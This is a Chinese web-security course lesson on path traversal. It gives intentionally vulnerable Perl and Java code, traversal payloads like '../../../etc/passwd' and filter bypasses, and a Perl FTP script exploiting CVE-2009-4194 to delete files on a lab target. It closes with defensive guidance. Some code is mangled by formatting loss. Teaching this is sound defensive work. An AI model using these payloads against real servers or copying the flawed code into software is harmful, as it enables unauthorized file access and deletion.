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02 路径穿越：你的Web应用系统成了攻击者的资源管理器？
你好，我是王昊天。
上节课呢，我们学习了失效的访问控制，这节课我想和你一起探索另一个有趣的漏洞类型——神奇的路径穿越。
想象你是一个勇者，而你这次的目标是要进入一座盘踞着古龙的城堡寻找宝藏。考虑到自己还不够强大，正面进攻明显会送了自己的小命，于是你打算先绕道看看，这个城堡有没有什么其他可以进入的方式。幸运的是，作为一座昔日的王宫，这座城堡的设计完整，有许多侧门；但同时你也会发现，每一扇侧门的背后不是仓库就是守卫室，完全不能帮助你进入城堡内部。经过了一整天的探索，你终于发现了一个房间，它和其他仓库在外观上并无二致，唯一的不同是其中一块地板下竟藏着一扇暗门，你怀着好奇缓缓开启这扇门，发现面前正是一条通往城堡的密道…
如果把城堡看作是你进行安全检测的系统，那么恭喜你，现在你已经成功找到了路径穿越漏洞。通过这种漏洞，你可以访问“城堡”内部的各种“宝藏”。当然，你具体能访问到什么样的宝藏，还要取决于地道究竟能够通往何处。
路径穿越
那么什么是路径穿越呢？简单来说，你所构建的系统中有一个功能组件使用外部输入来构建文件名，而这个文件名会用来定位一个在受限目录的文件，如果文件名中既包含一些特殊元素，又没有进行合理的过滤处理，就会导致路径被解析到受限文件夹之外的目录。
扩展开讲一讲，很多系统内部的文件操作都希望被限制在特定目录中进行。通过使用..以及/符号，攻击者可以进行文件路径逃逸。其中最常见的符号组合是../，这种符号组合在操作系统中会被解析为上级目录，这种漏洞被称为相对路径穿越。绝对路径穿越是另一种类型的路径穿越，比如/usr/local/bin就是典型的例子。
接下来我们看几种典型的攻击场景：
这里我们来看一种典型的社交网络应用代码，每个用户的配置文件都被存储在单独的文件中，所有文件被集中到一个目录里：
my $dataPath = "/users/example/profiles"; my $username = param("user"); my $profilePath = $dataPath . "/" . $username;
// 这里是老师写的注释 // 并没有对用户传入的username参数进行验证 open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath"); print "
- \n";
while(<$fh>) {
print "
- $_ \n"; } print "
当用户尝试去访问自己的配置文件的时候，会组成如下路径：
/users/example/prfiles/hunter
但是这里要注意的是上述代码并没有对用户传入的参数做验证，因此攻击者可以提供如下参数：
../../../etc/passwd
通过拼接，攻击者将会得到一个完整的路径：
/users/example/profiles/../../../etc/passwd ==> /etc/passwd
通过这条路径，攻击者就可以成功访问到Linux系统的password文件。
下面这个代码在编写过程中考虑到输入的不安全性，采用了黑名单方式，过滤掉了输入中包含的../字符。
my $username = GetUntrustedInput(); // 这里是老师写的注释 // 黑名单方式过滤 // 对username的过滤不严格 $username = ~ s/..///; my $filename = "/home/user/" . $username; ReadAndSendFile($filename);
但是值得注意的是，过滤代码中并没有使用/g这个全局匹配符，因此仅仅过滤掉了参数中出现的第一个../字符：
../../../etc/passwd => /home/user/../../etc/passwd
所以攻击者仍然可以通过多层拼接来实现攻击。
如下代码也在编写中考虑到输入的不安全性，它采用了白名单方式，限制了路径：
String path = getInputPath(); // 这里是老师写的注释 // 白名单方式过滤 // 对path的限制不够严格 if (path.startsWith("/safe_dir/")) { File f = new File(path); f.delete() }
但是攻击者依然可以通过提供如下参数进行绕过：
/safe_dir/../etc/passwd
如下代码通过在前端上传文件自动获取属性，凭借这样的方式限制用户输入：
Choose a file to upload:
如下Java Servlet代码通过doPost方法接受请求，从HTTP Request Header中解析文件名，然后从Request中读取内容后再写入本地upload目录：
public class FileUploadServlet extends HttpServlet { ... protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); String contentType = request.getContentType();
// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);
String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...
// output the file to the local upload directory
try {
// 这里是老师写的注释
// 攻击者可以修改Request中的filename进行攻击
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {
...
}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}
上述代码一方面没有对上传的文件类型进行检查（这节课我们不探讨这个安全问题），另一方面没有检查filename就直接进行了拼接，因此攻击者只需要通过Burpsuite、ZAP等Proxy应用对Request进行拦截和修改filename属性即可利用路径穿越漏洞。
在了解典型的风险场景之后，我们来看一下实战中真正出现过的安全漏洞。
案例实战
CVE-2009-4194
该漏洞是一个目录穿越漏洞，影响的软件版本是Golden FTP Server 4.30 Free 以及 Professional版本、4.50版本（未验证），允许攻击者通过DELE命令删除任意文件。
启动MiTuan中的CVE-2009-4194靶机，这是一个Windows 7系统，内置了Golden FTP Server 4.30版本，并且已经预先设置好了FTP共享路径：
C:\Users\sty\Desktop
接下来构建我们的攻击程序，为了方便我们采用Perl语言。如果你使用的是Mac电脑，那么你可以无需配置环境，直接运行我们编写好的攻击程序体验效果：
use strict; use Net::FTP
print "1"; my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
$ftp->login("anonymous", "") || die $ftp->message;
$ftp->cwd("/Desktop/") || die $ftp->message;
This deletes the file C:\Users\sty\test.txt
$ftp->delete("../test.txt");
$ftp->quit;
$ftp = undef;
通过上述的代码，我们可以看到C:\Users\sty\test.txt文件已经被删除了，我们成功穿越了FTP Server的限制，实现了了任意文件的删除！又一个神奇的漏洞被我们成功利用了，身为勇士的你成功地获取了城堡内宝藏的控制权。
防御方案
既然我们已经了解了漏洞的原理、发生的场景以及利用方式，那么我们要如何防御这种类型的攻击，并且预防潜在的漏洞出现呢？我们可以从不同的阶段出发，进行多维度安全建设，从而最大化地降低这类风险出现的概率。
在编码实现阶段：-
- 假设所有的输入都是恶意的，使用“只接受已知的善意的”输入检查策略，也就是使用一些定义清晰且严格的参数格式；-
- 输入都应该被解码为程序内部的处理格式，并且确保在应用系统没有被二次解码，防止攻击者通过编码或者二次编码进行绕过；-
- 如果可能，为用户提供选项或者通过应用系统内部ID映射的方式进行对象访问，例如ID 1对应“info.txt”；-
- 确保Error Message只包含最小必要信息，避免过于详细的信息展示，防止攻击者因此获取系统相关信息。
在架构设计阶段：-
- 确保所有客户端发生的安全检查，都在服务端完成第二次检查，这样做的目的是防止攻击者在客户端进行安全检查绕过；-
- 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
在防御建设阶段：-
- 使用可以防御这种类型攻击的应用层防火墙，在某些特定情况下（比如应用系统漏洞无法修复）非常有效；-
- 使用最小权限运行开发完毕的应用系统，如果可能，创建独立的受限账户用于应用系统运行；-
- 使用沙箱环境运行开发完毕的应用系统，做好进程和系统之间的边界隔离。
回到我们最初的场景，此时你不再是想要潜入城堡的勇士，而是昔日负责城堡建设的规划师。那么编码实现阶段的输入过滤就像一道道门禁关卡，只有真正城堡内部的人才能进入；架构设计阶段则让你从内到外地落地安全检查，当然你也可以借鉴成熟的城堡设计方案；最后在防御建设阶段，做好每个通道的隔离，确保不会有任何一条通道可以直接进入城堡核心区域。
总结
构建一个安全优雅的系统，保持神秘性是一个至关重要的因素，让用户只看到他应该看到的东西，是这一切的前提。
不怀好意的攻击者往往非常聪明，你让他看见一滴水，他就能想到路的尽头是一片海洋，最有趣的事情在于你所建设的系统尽头恰好有一片海洋，而且海里还有攻击者垂涎的海鲜。
这节课我们分析了常见的路径穿越场景和这些场景下的典型漏洞利用代码：
未对用户输入做验证； 黑名单检测绕过； 白名单检测绕过； 前端检测绕过。
我们还以漏洞CVE-2009-4194为例，带你在实战中复现了路径穿越漏洞。
最后，我从编码实现、架构设计、防御建设3个不同的阶段，给你提供了安全编码和系统加固的建议：
对所有用户输入执行严格的输入检查，确保不会出现二次解码绕过问题，并推荐使用内部ID映射的方式进行对象访问； 使用成熟的开发框架，并且在客户端、服务端都执行安全检查； 使用沙箱环境运行应用系统，遵循最小权限原则，使用独立的受限权限账户，并在边界架设应用防火墙。
以上，就是本节课的内容——构建一个安全优雅的系统，让用户只能走到他该走到的地方。
思考题
通过本节课的案例实战，你可以尝试自己复现CVE-2009-4053漏洞吗？
欢迎在评论区留下你的思考，我们下节课再见。